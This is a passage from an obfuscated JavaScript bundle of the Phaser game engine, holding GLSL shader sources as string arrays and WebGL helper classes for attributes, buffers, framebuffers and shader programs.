'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20float\x20radius;', 'uniform\x20float\x20strength;', 'uniform\x20vec2\x20position;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec4\x20col\x20=\x20vec4(1.0);', '\x20\x20\x20\x20float\x20d\x20=\x20length(outTexCoord\x20-\x20position);', '\x20\x20\x20\x20if\x20(d\x20<=\x20radius)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20float\x20g\x20=\x20d\x20/\x20radius;', '\x20\x20\x20\x20\x20\x20\x20\x20g\x20=\x20sin(g\x20*\x203.14\x20*\x20strength);', '\x20\x20\x20\x20\x09col\x20=\x20vec4(g\x20*\x20g\x20*\x20g);', '\x20\x20\x20\x20}', '\x20\x20\x20\x20vec4\x20texture\x20=\x20texture2D(uMainSampler,\x20outTexCoord);', '\x20\x20\x20\x20gl_FragColor\x20=\x20texture\x20*\x20(1.0\x20-\x20col);', '}']['join']('\x0a'); }, 0xb3e: _0x35d2c7 => { _0x35d2c7['exports'] = ['#define\x20SHADER_NAME\x20WIPE_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20vec4\x20config;', 'uniform\x20bool\x20reveal;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec2\x20uv\x20=\x20outTexCoord;', '\x20\x20\x20\x20vec4\x20color0;', '\x20\x20\x20\x20vec4\x20color1;', '\x20\x20\x20\x20if\x20(reveal)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20color0\x20=\x20vec4(0);', '\x20\x20\x20\x20\x20\x20\x20\x20color1\x20=\x20texture2D(uMainSampler,\x20uv);', '\x20\x20\x20\x20}', '\x20\x20\x20\x20else', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20color0\x20=\x20texture2D(uMainSampler,\x20uv);', '\x20\x20\x20\x20\x20\x20\x20\x20color1\x20=\x20vec4(0);', '\x20\x20\x20\x20}', '\x20\x20\x20\x20float\x20distance\x20=\x20config.x;', '\x20\x20\x20\x20float\x20width\x20=\x20config.y;', '\x20\x20\x20\x20float\x20direction\x20=\x20config.z;', '\x20\x20\x20\x20float\x20axis\x20=\x20uv.x;', '\x20\x20\x20\x20if\x20(config.w\x20==\x201.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20axis\x20=\x20uv.y;', '\x20\x20\x20\x20}', '\x20\x20\x20\x20float\x20adjust\x20=\x20mix(width,\x20-width,\x20distance);', '\x20\x20\x20\x20float\x20value\x20=\x20smoothstep(distance\x20-\x20width,\x20distance\x20+\x20width,\x20abs(direction\x20-\x20axis)\x20+\x20adjust);', '\x20\x20\x20\x20gl_FragColor\x20=\x20mix(color1,\x20color0,\x20value);', '}']['join']('\x0a'); }, 0x7957: _0x362611 => { _0x362611['exports'] = ['#define\x20SHADER_NAME\x20PHASER_LIGHT_FS', 'precision\x20mediump\x20float;', 'struct\x20Light', '{', '\x20\x20\x20\x20vec2\x20position;', '\x20\x20\x20\x20vec3\x20color;', '\x20\x20\x20\x20float\x20intensity;', '\x20\x20\x20\x20float\x20radius;', '};', 'const\x20int\x20kMaxLights\x20=\x20%LIGHT_COUNT%;', 'uniform\x20vec4\x20uCamera;\x20/*\x20x,\x20y,\x20rotation,\x20zoom\x20*/', 'uniform\x20vec2\x20uResolution;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20sampler2D\x20uNormSampler;', 'uniform\x20vec3\x20uAmbientLightColor;', 'uniform\x20Light\x20uLights[kMaxLights];', 'uniform\x20mat3\x20uInverseRotationMatrix;', 'uniform\x20int\x20uLightCount;', 'varying\x20vec2\x20outTexCoord;', 'varying\x20float\x20outTexId;', 'varying\x20float\x20outTintEffect;', 'varying\x20vec4\x20outTint;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec3\x20finalColor\x20=\x20vec3(0.0,\x200.0,\x200.0);', '\x20\x20\x20\x20vec4\x20texel\x20=\x20vec4(outTint.bgr\x20*\x20outTint.a,\x20outTint.a);', '\x20\x20\x20\x20vec4\x20texture\x20=\x20texture2D(uMainSampler,\x20outTexCoord);', '\x20\x20\x20\x20vec4\x20color\x20=\x20texture\x20*\x20texel;', '\x20\x20\x20\x20if\x20(outTintEffect\x20==\x201.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20color.rgb\x20=\x20mix(texture.rgb,\x20outTint.bgr\x20*\x20outTint.a,\x20texture.a);', '\x20\x20\x20\x20}', '\x20\x20\x20\x20else\x20if\x20(outTintEffect\x20==\x202.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20color\x20=\x20texel;', '\x20\x20\x20\x20}', '\x20\x20\x20\x20vec3\x20normalMap\x20=\x20texture2D(uNormSampler,\x20outTexCoord).rgb;', '\x20\x20\x20\x20vec3\x20normal\x20=\x20normalize(uInverseRotationMatrix\x20*\x20vec3(normalMap\x20*\x202.0\x20-\x201.0));', '\x20\x20\x20\x20vec2\x20res\x20=\x20vec2(min(uResolution.x,\x20uResolution.y))\x20*\x20uCamera.w;', '\x20\x20\x20\x20for\x20(int\x20index\x20=\x200;\x20index\x20<\x20kMaxLights;\x20++index)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20if\x20(index\x20<\x20uLightCount)', '\x20\x20\x20\x20\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Light\x20light\x20=\x20uLights[index];', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vec3\x20lightDir\x20=\x20vec3((light.position.xy\x20/\x20res)\x20-\x20(gl_FragCoord.xy\x20/\x20res),\x200.1);', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vec3\x20lightNormal\x20=\x20normalize(lightDir);', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20distToSurf\x20=\x20length(lightDir)\x20*\x20uCamera.w;', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20diffuseFactor\x20=\x20max(dot(normal,\x20lightNormal),\x200.0);', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20radius\x20=\x20(light.radius\x20/\x20res.x\x20*\x20uCamera.w)\x20*\x20uCamera.w;', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20attenuation\x20=\x20clamp(1.0\x20-\x20distToSurf\x20*\x20distToSurf\x20/\x20(radius\x20*\x20radius),\x200.0,\x201.0);', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vec3\x20diffuse\x20=\x20light.color\x20*\x20diffuseFactor;', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20finalColor\x20+=\x20(attenuation\x20*\x20diffuse)\x20*\x20light.intensity;', '\x20\x20\x20\x20\x20\x20\x20\x20}', '\x20\x20\x20\x20}', '\x20\x20\x20\x20vec4\x20colorOutput\x20=\x20vec4(uAmbientLightColor\x20+\x20finalColor,\x201.0);', '\x20\x20\x20\x20gl_FragColor\x20=\x20color\x20*\x20vec4(colorOutput.rgb\x20*\x20colorOutput.a,\x20colorOutput.a);', '}']['join']('\x0a'); }, 0xbc77: _0x24538b => { _0x24538b['exports'] = ['#define\x20SHADER_NAME\x20PHASER_LINEAR_BLEND_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler1;', 'uniform\x20sampler2D\x20uMainSampler2;', 'uniform\x20float\x20uStrength;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec4\x20frame1\x20=\x20texture2D(uMainSampler1,\x20outTexCoord);', '\x20\x20\x20\x20vec4\x20frame2\x20=\x20texture2D(uMainSampler2,\x20outTexCoord);', '\x20\x20\x20\x20gl_FragColor\x20=\x20mix(frame1,\x20frame2\x20*\x20uStrength,\x200.5);', '}']['join']('\x0a'); }, 0xa0fe: _0x509db6 => { _0x509db6['exports'] = ['#define\x20SHADER_NAME\x20PHASER_MESH_FS', 'precision\x20mediump\x20float;', 'uniform\x20vec3\x20uLightPosition;', 'uniform\x20vec3\x20uLightAmbient;', 'uniform\x20vec3\x20uLightDiffuse;', 'uniform\x20vec3\x20uLightSpecular;', 'uniform\x20vec3\x20uFogColor;', 'uniform\x20float\x20uFogNear;', 'uniform\x20float\x20uFogFar;', 'uniform\x20vec3\x20uMaterialAmbient;', 'uniform\x20vec3\x20uMaterialDiffuse;', 'uniform\x20vec3\x20uMaterialSpecular;', 'uniform\x20float\x20uMaterialShine;', 'uniform\x20vec3\x20uCameraPosition;', 'uniform\x20sampler2D\x20uTexture;', 'varying\x20vec2\x20vTextureCoord;', 'varying\x20vec3\x20vNormal;', 'varying\x20vec3\x20vPosition;', 'void\x20main\x20(void)', '{', '\x20\x20\x20\x20vec4\x20color\x20=\x20texture2D(uTexture,\x20vTextureCoord);', '\x20\x20\x20\x20vec3\x20ambient\x20=\x20uLightAmbient\x20*\x20uMaterialAmbient;', '\x20\x20\x20\x20vec3\x20norm\x20=\x20normalize(vNormal);', '\x20\x20\x20\x20vec3\x20lightDir\x20=\x20normalize(uLightPosition\x20-\x20vPosition);', '\x20\x20\x20\x20float\x20diff\x20=\x20max(dot(norm,\x20lightDir),\x200.0);', '\x20\x20\x20\x20vec3\x20diffuse\x20=\x20uLightDiffuse\x20*\x20(diff\x20*\x20uMaterialDiffuse);', '\x20\x20\x20\x20vec3\x20viewDir\x20=\x20normalize(uCameraPosition\x20-\x20vPosition);', '\x20\x20\x20\x20vec3\x20reflectDir\x20=\x20reflect(-lightDir,\x20norm);', '\x20\x20\x20\x20float\x20spec\x20=\x20pow(max(dot(viewDir,\x20reflectDir),\x200.0),\x20uMaterialShine);', '\x20\x20\x20\x20vec3\x20specular\x20=\x20uLightSpecular\x20*\x20(spec\x20*\x20uMaterialSpecular);', '\x20\x20\x20\x20vec3\x20result\x20=\x20(ambient\x20+\x20diffuse\x20+\x20specular)\x20*\x20color.rgb;', '\x20\x20\x20\x20float\x20depth\x20=\x20gl_FragCoord.z\x20/\x20gl_FragCoord.w;', '\x20\x20\x20\x20float\x20fogFactor\x20=\x20smoothstep(uFogNear,\x20uFogFar,\x20depth);', '\x20\x20\x20\x20gl_FragColor.rgb\x20=\x20mix(result.rgb,\x20uFogColor,\x20fogFactor);', '\x20\x20\x20\x20gl_FragColor.a\x20=\x20color.a;', '}']['join']('\x0a'); }, 0x9ae5: _0x2a3602 => { _0x2a3602['exports'] = ['#define\x20SHADER_NAME\x20PHASER_MESH_VS', 'precision\x20mediump\x20float;', 'attribute\x20vec3\x20aVertexPosition;', 'attribute\x20vec3\x20aVertexNormal;', 'attribute\x20vec2\x20aTextureCoord;', 'uniform\x20mat4\x20uViewProjectionMatrix;', 'uniform\x20mat4\x20uModelMatrix;', 'uniform\x20mat4\x20uNormalMatrix;', 'varying\x20vec2\x20vTextureCoord;', 'varying\x20vec3\x20vNormal;', 'varying\x20vec3\x20vPosition;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vTextureCoord\x20=\x20aTextureCoord;', '\x20\x20\x20\x20vPosition\x20=\x20vec3(uModelMatrix\x20*\x20vec4(aVertexPosition,\x201.0));', '\x20\x20\x20\x20vNormal\x20=\x20vec3(uNormalMatrix\x20*\x20vec4(aVertexNormal,\x201.0));', '\x20\x20\x20\x20gl_Position\x20=\x20uViewProjectionMatrix\x20*\x20uModelMatrix\x20*\x20vec4(aVertexPosition,\x201.0);', '}']['join']('\x0a'); }, 0xf2bf: _0x4a6c2f => { _0x4a6c2f['exports'] = ['#define\x20SHADER_NAME\x20PHASER_MOBILE_FS', '#ifdef\x20GL_FRAGMENT_PRECISION_HIGH', 'precision\x20highp\x20float;', '#else', 'precision\x20mediump\x20float;', '#endif', 'uniform\x20sampler2D\x20uMainSampler;', 'varying\x20vec2\x20outTexCoord;', 'varying\x20float\x20outTintEffect;', 'varying\x20vec4\x20outTint;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec4\x20texel\x20=\x20vec4(outTint.bgr\x20*\x20outTint.a,\x20outTint.a);', '\x20\x20\x20\x20vec4\x20texture\x20=\x20texture2D(uMainSampler,\x20outTexCoord);', '\x20\x20\x20\x20vec4\x20color\x20=\x20texture\x20*\x20texel;', '\x20\x20\x20\x20if\x20(outTintEffect\x20==\x201.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20color.rgb\x20=\x20mix(texture.rgb,\x20outTint.bgr\x20*\x20outTint.a,\x20texture.a);', '\x20\x20\x20\x20}', '\x20\x20\x20\x20else\x20if\x20(outTintEffect\x20==\x202.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20color\x20=\x20texel;', '\x20\x20\x20\x20}', '\x20\x20\x20\x20gl_FragColor\x20=\x20color;', '}']['join']('\x0a'); }, 0xbb44: _0x11e5a0 => { _0x11e5a0['exports'] = ['#define\x20SHADER_NAME\x20PHASER_MOBILE_VS', 'precision\x20mediump\x20float;', 'uniform\x20mat4\x20uProjectionMatrix;', 'uniform\x20vec2\x20uResolution;', 'attribute\x20vec2\x20inPosition;', 'attribute\x20vec2\x20inTexCoord;', 'attribute\x20float\x20inTexId;', 'attribute\x20float\x20inTintEffect;', 'attribute\x20vec4\x20inTint;', 'varying\x20vec2\x20outTexCoord;', 'varying\x20float\x20outTintEffect;', 'varying\x20vec4\x20outTint;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20gl_Position\x20=\x20uProjectionMatrix\x20*\x20vec4(inPosition,\x201.0,\x201.0);', '\x20\x20\x20\x20outTexCoord\x20=\x20inTexCoord;', '\x20\x20\x20\x20outTint\x20=\x20inTint;', '\x20\x20\x20\x20outTintEffect\x20=\x20inTintEffect;', '}']['join']('\x0a'); }, 0x18218: _0x2ea35e => { _0x2ea35e['exports'] = ['#define\x20SHADER_NAME\x20PHASER_MULTI_FS', '#ifdef\x20GL_FRAGMENT_PRECISION_HIGH', 'precision\x20highp\x20float;', '#else', 'precision\x20mediump\x20float;', '#endif', 'uniform\x20sampler2D\x20uMainSampler[%count%];', 'varying\x20vec2\x20outTexCoord;', 'varying\x20float\x20outTexId;', 'varying\x20float\x20outTintEffect;', 'varying\x20vec4\x20outTint;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec4\x20texture;', '\x20\x20\x20\x20%forloop%', '\x20\x20\x20\x20vec4\x20texel\x20=\x20vec4(outTint.bgr\x20*\x20outTint.a,\x20outTint.a);', '\x20\x20\x20\x20vec4\x20color\x20=\x20texture\x20*\x20texel;', '\x20\x20\x20\x20if\x20(outTintEffect\x20==\x201.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20color.rgb\x20=\x20mix(texture.rgb,\x20outTint.bgr\x20*\x20outTint.a,\x20texture.a);', '\x20\x20\x20\x20}', '\x20\x20\x20\x20else\x20if\x20(outTintEffect\x20==\x202.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20color\x20=\x20texel;', '\x20\x20\x20\x20}', '\x20\x20\x20\x20gl_FragColor\x20=\x20color;', '}']['join']('\x0a'); }, 0xae7b: _0x5f5c2e => { _0x5f5c2e['exports'] = ['#define\x20SHADER_NAME\x20PHASER_MULTI_VS', 'precision\x20mediump\x20float;', 'uniform\x20mat4\x20uProjectionMatrix;', 'uniform\x20vec2\x20uResolution;', 'attribute\x20vec2\x20inPosition;', 'attribute\x20vec2\x20inTexCoord;', 'attribute\x20float\x20inTexId;', 'attribute\x20float\x20inTintEffect;', 'attribute\x20vec4\x20inTint;', 'varying\x20vec2\x20outTexCoord;', 'varying\x20float\x20outTexId;', 'varying\x20float\x20outTintEffect;', 'varying\x20vec4\x20outTint;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20gl_Position\x20=\x20uProjectionMatrix\x20*\x20vec4(inPosition,\x201.0,\x201.0);', '\x20\x20\x20\x20outTexCoord\x20=\x20inTexCoord;', '\x20\x20\x20\x20outTexId\x20=\x20inTexId;', '\x20\x20\x20\x20outTint\x20=\x20inTint;', '\x20\x20\x20\x20outTintEffect\x20=\x20inTintEffect;', '}']['join']('\x0a'); }, 0x101f: _0x15646b => { _0x15646b['exports'] = ['#define\x20SHADER_NAME\x20PHASER_POINTLIGHT_FS', 'precision\x20mediump\x20float;', 'uniform\x20vec2\x20uResolution;', 'uniform\x20float\x20uCameraZoom;', 'varying\x20vec4\x20lightPosition;', 'varying\x20vec4\x20lightColor;', 'varying\x20float\x20lightRadius;', 'varying\x20float\x20lightAttenuation;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec2\x20center\x20=\x20(lightPosition.xy\x20+\x201.0)\x20*\x20(uResolution.xy\x20*\x200.5);', '\x20\x20\x20\x20float\x20distToSurf\x20=\x20length(center\x20-\x20gl_FragCoord.xy);', '\x20\x20\x20\x20float\x20radius\x20=\x201.0\x20-\x20distToSurf\x20/\x20(lightRadius\x20*\x20uCameraZoom);', '\x20\x20\x20\x20float\x20intensity\x20=\x20smoothstep(0.0,\x201.0,\x20radius\x20*\x20lightAttenuation);', '\x20\x20\x20\x20vec4\x20color\x20=\x20vec4(intensity,\x20intensity,\x20intensity,\x200.0)\x20*\x20lightColor;', '\x20\x20\x20\x20gl_FragColor\x20=\x20vec4(color.rgb\x20*\x20lightColor.a,\x20color.a);', '}']['join']('\x0a'); }, 0x15f44: _0x38d0c5 => { _0x38d0c5['exports'] = ['#define\x20SHADER_NAME\x20PHASER_POINTLIGHT_VS', 'precision\x20mediump\x20float;', 'uniform\x20mat4\x20uProjectionMatrix;', 'attribute\x20vec2\x20inPosition;', 'attribute\x20vec2\x20inLightPosition;', 'attribute\x20vec4\x20inLightColor;', 'attribute\x20float\x20inLightRadius;', 'attribute\x20float\x20inLightAttenuation;', 'varying\x20vec4\x20lightPosition;', 'varying\x20vec4\x20lightColor;', 'varying\x20float\x20lightRadius;', 'varying\x20float\x20lightAttenuation;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20lightColor\x20=\x20inLightColor;', '\x20\x20\x20\x20lightRadius\x20=\x20inLightRadius;', '\x20\x20\x20\x20lightAttenuation\x20=\x20inLightAttenuation;', '\x20\x20\x20\x20lightPosition\x20=\x20uProjectionMatrix\x20*\x20vec4(inLightPosition,\x201.0,\x201.0);', '\x20\x20\x20\x20gl_Position\x20=\x20uProjectionMatrix\x20*\x20vec4(inPosition,\x201.0,\x201.0);', '}']['join']('\x0a'); }, 0x6c21: _0x3af56a => { _0x3af56a['exports'] = ['#define\x20SHADER_NAME\x20PHASER_POSTFX_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20gl_FragColor\x20=\x20texture2D(uMainSampler,\x20outTexCoord);', '}']['join']('\x0a'); }, 0xc1db: _0x98b87b => { _0x98b87b['exports'] = ['#define\x20SHADER_NAME\x20PHASER_QUAD_VS', 'precision\x20mediump\x20float;', 'attribute\x20vec2\x20inPosition;', 'attribute\x20vec2\x20inTexCoord;', 'varying\x20vec2\x20outFragCoord;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20outFragCoord\x20=\x20inPosition.xy\x20*\x200.5\x20+\x200.5;', '\x20\x20\x20\x20outTexCoord\x20=\x20inTexCoord;', '\x20\x20\x20\x20gl_Position\x20=\x20vec4(inPosition,\x200,\x201);', '}']['join']('\x0a'); }, 0xb1f9: _0xecd387 => { _0xecd387['exports'] = ['#define\x20SHADER_NAME\x20PHASER_SINGLE_FS', '#ifdef\x20GL_FRAGMENT_PRECISION_HIGH', 'precision\x20highp\x20float;', '#else', 'precision\x20mediump\x20float;', '#endif', 'uniform\x20sampler2D\x20uMainSampler;', 'varying\x20vec2\x20outTexCoord;', 'varying\x20float\x20outTintEffect;', 'varying\x20vec4\x20outTint;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec4\x20texture\x20=\x20texture2D(uMainSampler,\x20outTexCoord);', '\x20\x20\x20\x20vec4\x20texel\x20=\x20vec4(outTint.bgr\x20*\x20outTint.a,\x20outTint.a);', '\x20\x20\x20\x20vec4\x20color\x20=\x20texture\x20*\x20texel;', '\x20\x20\x20\x20if\x20(outTintEffect\x20==\x201.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20color.rgb\x20=\x20mix(texture.rgb,\x20outTint.bgr\x20*\x20outTint.a,\x20texture.a);', '\x20\x20\x20\x20}', '\x20\x20\x20\x20else\x20if\x20(outTintEffect\x20==\x202.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20color\x20=\x20texel;', '\x20\x20\x20\x20}', '\x20\x20\x20\x20gl_FragColor\x20=\x20color;', '}']['join']('\x0a'); }, 0xed32: _0x1ba57e => { _0x1ba57e['exports'] = ['#define\x20SHADER_NAME\x20PHASER_SINGLE_VS', 'precision\x20mediump\x20float;', 'uniform\x20mat4\x20uProjectionMatrix;', 'uniform\x20vec2\x20uResolution;', 'attribute\x20vec2\x20inPosition;', 'attribute\x20vec2\x20inTexCoord;', 'attribute\x20float\x20inTexId;', 'attribute\x20float\x20inTintEffect;', 'attribute\x20vec4\x20inTint;', 'varying\x20vec2\x20outTexCoord;', 'varying\x20float\x20outTintEffect;', 'varying\x20vec4\x20outTint;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20gl_Position\x20=\x20uProjectionMatrix\x20*\x20vec4(inPosition,\x201.0,\x201.0);', '\x20\x20\x20\x20outTexCoord\x20=\x20inTexCoord;', '\x20\x20\x20\x20outTint\x20=\x20inTint;', '\x20\x20\x20\x20outTintEffect\x20=\x20inTintEffect;', '}']['join']('\x0a'); }, 0x15d06: (_0x3ed2e2, _0x1c9578, _0x52f554) => { _0x3ed2e2['exports'] = { 'AddBlendFrag': _0x52f554(0x8a4f), 'BitmapMaskFrag': _0x52f554(0x1343c), 'BitmapMaskVert': _0x52f554(0x14cc7), 'ColorMatrixFrag': _0x52f554(0x17825), 'CopyFrag': _0x52f554(0x8f4a), 'FXBarrelFrag': _0x52f554(0x18353), 'FXBloomFrag': _0x52f554(0x5f50), 'FXBlurHighFrag': _0x52f554(0x17078), 'FXBlurLowFrag': _0x52f554(0xa22a), 'FXBlurMedFrag': _0x52f554(0xc786), 'FXBokehFrag': _0x52f554(0x161f2), 'FXCircleFrag': _0x52f554(0x166fb), 'FXDisplacementFrag': _0x52f554(0xbade), 'FXGlowFrag': _0x52f554(0x18160), 'FXGradientFrag': _0x52f554(0x1133f), 'FXPixelateFrag': _0x52f554(0xc68f), 'FXShadowFrag': _0x52f554(0x169b3), 'FXShineFrag': _0x52f554(0x11b10), 'FXVignetteFrag': _0x52f554(0x9951), 'FXWipeFrag': _0x52f554(0xb3e), 'LightFrag': _0x52f554(0x7957), 'LinearBlendFrag': _0x52f554(0xbc77), 'MeshFrag': _0x52f554(0xa0fe), 'MeshVert': _0x52f554(0x9ae5), 'MobileFrag': _0x52f554(0xf2bf), 'MobileVert': _0x52f554(0xbb44), 'MultiFrag': _0x52f554(0x18218), 'MultiVert': _0x52f554(0xae7b), 'PointLightFrag': _0x52f554(0x101f), 'PointLightVert': _0x52f554(0x15f44), 'PostFXFrag': _0x52f554(0x6c21), 'QuadVert': _0x52f554(0xc1db), 'SingleFrag': _0x52f554(0xb1f9), 'SingleVert': _0x52f554(0xed32) }; }, 0x16d7f: (_0x3cfe9b, _0x55e576, _0x31b0f3) => { var _0x17c918 = new (_0x31b0f3(0x145db))({ 'initialize': function (_0x140cff, _0x2627cd, _0x5af592) { this['webGLAttribLocation'] = -0x1, this['gl'] = _0x140cff, this['program'] = _0x2627cd, this['name'] = _0x5af592, this['createResource'](); }, 'createResource': function () { if (null !== this['program']['webGLProgram']) { var _0x2c3a11 = this['gl']; _0x2c3a11['isContextLost']() || (this['webGLAttribLocation'] = _0x2c3a11['getAttribLocation'](this['program']['webGLProgram'], this['name'])); } else this['webGLAttribLocation'] = -0x1; }, 'destroy': function () { this['gl'] = null, this['program'] = null, this['name'] = null, this['webGLAttribLocation'] = -0x1; } }); _0x3cfe9b['exports'] = _0x17c918; }, 0x6610: (_0x455b53, _0x50ad37, _0xef2105) => { var _0x1a1035 = new (_0xef2105(0x145db))({ 'initialize': function (_0x227039, _0x242332, _0x2f8515, _0x74536c) { this['webGLBuffer'] = null, this['gl'] = _0x227039, this['initialDataOrSize'] = _0x242332, this['bufferType'] = _0x2f8515, this['bufferUsage'] = _0x74536c, this['createResource'](); }, 'createResource': function () { if (null !== this['initialDataOrSize']) { var _0x19cc1d = this['gl']; if (!_0x19cc1d['isContextLost']()) { var _0x2dc35a = this['bufferType'], _0x248f36 = _0x19cc1d['createBuffer'](); this['webGLBuffer'] = _0x248f36, _0x19cc1d['bindBuffer'](_0x2dc35a, this['webGLBuffer']), _0x19cc1d['bufferData'](_0x2dc35a, this['initialDataOrSize'], this['bufferUsage']), _0x19cc1d['bindBuffer'](_0x2dc35a, null); } } }, 'destroy': function () { var _0x25164e = this['gl']; _0x25164e['isContextLost']() || _0x25164e['deleteBuffer'](this['webGLBuffer']), this['webGLBuffer'] = null, this['initialDataOrSize'] = null, this['gl'] = null; } }); _0x455b53['exports'] = _0x1a1035; }, 0x149a3: (_0x3936ea, _0x25e662, _0x8a472) => { var _0x34687c = _0x8a472(0x145db), _0x254e27 = { 0x8cd6: 'Incomplete\x20Attachment', 0x8cd7: 'Missing\x20Attachment', 0x8cd9: 'Incomplete\x20Dimensions', 0x8cdd: 'Framebuffer\x20Unsupported' }, _0x44175b = new _0x34687c({ 'initialize': function (_0x5d4010, _0xbbf3c9, _0x8acb45, _0x28c3aa, _0xe4e023) { this['webGLFramebuffer'] = null, this['gl'] = _0x5d4010, this['width'] = _0xbbf3c9, this['height'] = _0x8acb45, this['renderTexture'] = _0x28c3aa, this['addDepthStencilBuffer'] = !!_0xe4e023, this['createResource'](); }, 'createResource': function () { var _0x2a81e6 = this['gl']; if (!_0x2a81e6['isContextLost']()) { var _0x137b8a, _0x52179f = this['renderTexture'], _0x170a56 = _0x2a81e6['createFramebuffer'](); if (this['webGLFramebuffer'] = _0x170a56, _0x2a81e6['bindFramebuffer'](_0x2a81e6['FRAMEBUFFER'], _0x170a56), _0x52179f['isRenderTexture'] = !0x0, _0x52179f['isAlphaPremultiplied'] = !0x1, _0x2a81e6['framebufferTexture2D'](_0x2a81e6['FRAMEBUFFER'], _0x2a81e6['COLOR_ATTACHMENT0'], _0x2a81e6['TEXTURE_2D'], _0x52179f['webGLTexture'], 0x0), (_0x137b8a = _0x2a81e6['checkFramebufferStatus'](_0x2a81e6['FRAMEBUFFER'])) !== _0x2a81e6['FRAMEBUFFER_COMPLETE']) throw new Error('Framebuffer\x20status:\x20' + (_0x254e27[_0x137b8a] || _0x137b8a)); if (this['addDepthStencilBuffer']) { var _0x1cb7f3 = _0x2a81e6['createRenderbuffer'](); _0x2a81e6['bindRenderbuffer'](_0x2a81e6['RENDERBUFFER'], _0x1cb7f3), _0x2a81e6['renderbufferStorage'](_0x2a81e6['RENDERBUFFER'], _0x2a81e6['DEPTH_STENCIL'], this['width'], this['height']), _0x2a81e6['framebufferRenderbuffer'](_0x2a81e6['FRAMEBUFFER'], _0x2a81e6['DEPTH_STENCIL_ATTACHMENT'], _0x2a81e6['RENDERBUFFER'], _0x1cb7f3); } _0x2a81e6['bindFramebuffer'](_0x2a81e6['FRAMEBUFFER'], null); } }, 'destroy': function () { if (null !== this['webGLFramebuffer']) { var _0x153701 = this['gl']; if (!_0x153701['isContextLost']()) { _0x153701['bindFramebuffer'](_0x153701['FRAMEBUFFER'], this['webGLFramebuffer']); var _0x118340 = _0x153701['getFramebufferAttachmentParameter'](_0x153701['FRAMEBUFFER'], _0x153701['COLOR_ATTACHMENT0'], _0x153701['FRAMEBUFFER_ATTACHMENT_OBJECT_NAME']); null !== _0x118340 && (_0x153701['framebufferTexture2D'](_0x153701['FRAMEBUFFER'], _0x153701['COLOR_ATTACHMENT0'], _0x153701['TEXTURE_2D'], null, 0x0), _0x153701['deleteTexture'](_0x118340)); var _0x3ac121 = _0x153701['getFramebufferAttachmentParameter'](_0x153701['FRAMEBUFFER'], _0x153701['DEPTH_STENCIL_ATTACHMENT'], _0x153701['FRAMEBUFFER_ATTACHMENT_OBJECT_NAME']); null !== _0x3ac121 && _0x153701['deleteRenderbuffer'](_0x3ac121), _0x153701['bindFramebuffer'](_0x153701['FRAMEBUFFER'], null), _0x153701['deleteFramebuffer'](this['webGLFramebuffer']); } this['renderTexture'] = null, this['webGLFramebuffer'] = null, this['gl'] = null; } } }); _0x3936ea['exports'] = _0x44175b; }, 0x5ca: (_0x4f2b5d, _0x588251, _0x360fcc) => { var _0x4f8632 = new (_0x360fcc(0x145db))({ 'initialize': function (_0x22a832, _0x382004, _0x153c77) { this['webGLProgram'] = null, this['gl'] = _0x22a832, this['vertexSource'] = _0x382004, this['fragmentSource'] = _0x153c77, this['createResource'](); }, 'createResource': function () { var _0x5a2431 = this['gl']; if (!_0x5a2431['isContextLost']()) { var _0x4a9d1d = _0x5a2431['createProgram'](), _0x48dace = _0x5a2431['createShader'](_0x5a2431['VERTEX_SHADER']), _0x40eb04 = _0x5a2431['createShader'](_0x5a2431['FRAGMENT_SHADER']); _0x5a2431['shaderSource'](_0x48dace, this['vertexSource']), _0x5a2431['shaderSource'](_0x40eb04, this['fragmentSource']), 